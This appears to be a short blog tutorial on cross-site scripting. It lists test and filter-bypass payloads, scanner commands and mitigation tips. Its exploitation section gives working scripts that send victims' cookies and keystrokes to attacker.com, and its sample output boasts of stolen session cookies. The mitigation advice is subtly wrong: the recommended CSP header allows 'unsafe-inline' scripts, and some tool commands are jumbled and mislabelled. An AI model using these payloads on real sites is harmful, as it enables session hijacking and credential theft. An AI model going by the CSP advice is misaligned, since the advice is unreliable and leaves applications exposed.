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Cross-Site Scripting (XSS) remains one of the most common web vulnerabilities, allowing attackers to inject malicious scripts into trusted websites. While its impact may seem low compared to RCE or SQLi, XSS can lead to session hijacking, credential theft, and more.
You Should Know:
1. Types of XSS
- Stored XSS: Malicious script is permanently stored on the target server.
- Reflected XSS: Script is embedded in a URL and executed when the victim clicks it.
- DOM-based XSS: The attack manipulates the Document Object Model (DOM) environment.
2. Testing for XSS
Use these payloads to test for XSS vulnerabilities:
Basic XSS Payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<
svg/onload=alert('XSS')>
Bypassing Filters
<scr<script>ipt>alert('XSS')</script>
<IMG SRC=javascript:alert('XSS')>
3. Exploiting XSS
Once you find an XSS vulnerability, escalate its impact:
Stealing Cookies
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Keylogging
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
4. Mitigation Techniques
- Use Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- Sanitize user inputs with libraries like DOMPurify.
- Encode output using HTML Entity Encoding.
5. Practice Commands (Linux & Windows)
Linux (Kali) Tools for XSS Testing
Use Burp Suite for interception burpsuite Automated scanning with OWASP ZAP zap-cli quick-scan -s xss http://target.com XSS Hunter for blind XSS python3 xsstrike.py -u "http://target.com/search?q=test"
Windows PowerShell for XSS Testing
Check for reflected XSS Invoke-WebRequest "http://target.com/search?q=<script>alert(1)</script>" Encode payloads
What Undercode Say
XSS may seem trivial, but it opens doors for advanced attacks. Always test inputs thoroughly, use security headers, and keep applications updated.
Prediction
As web apps grow more complex, XSS attacks will evolve with techniques like XSS + CSRF chaining and DOM-based phishing.
Expected Output:
- Detected XSS vulnerability in `http://target.com/search?q=`
- Stolen cookies logged at `https://attacker.com/steal?cookie=sessionid=123`
- Mitigation applied via CSP headers.
Relevant URLs:
References:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
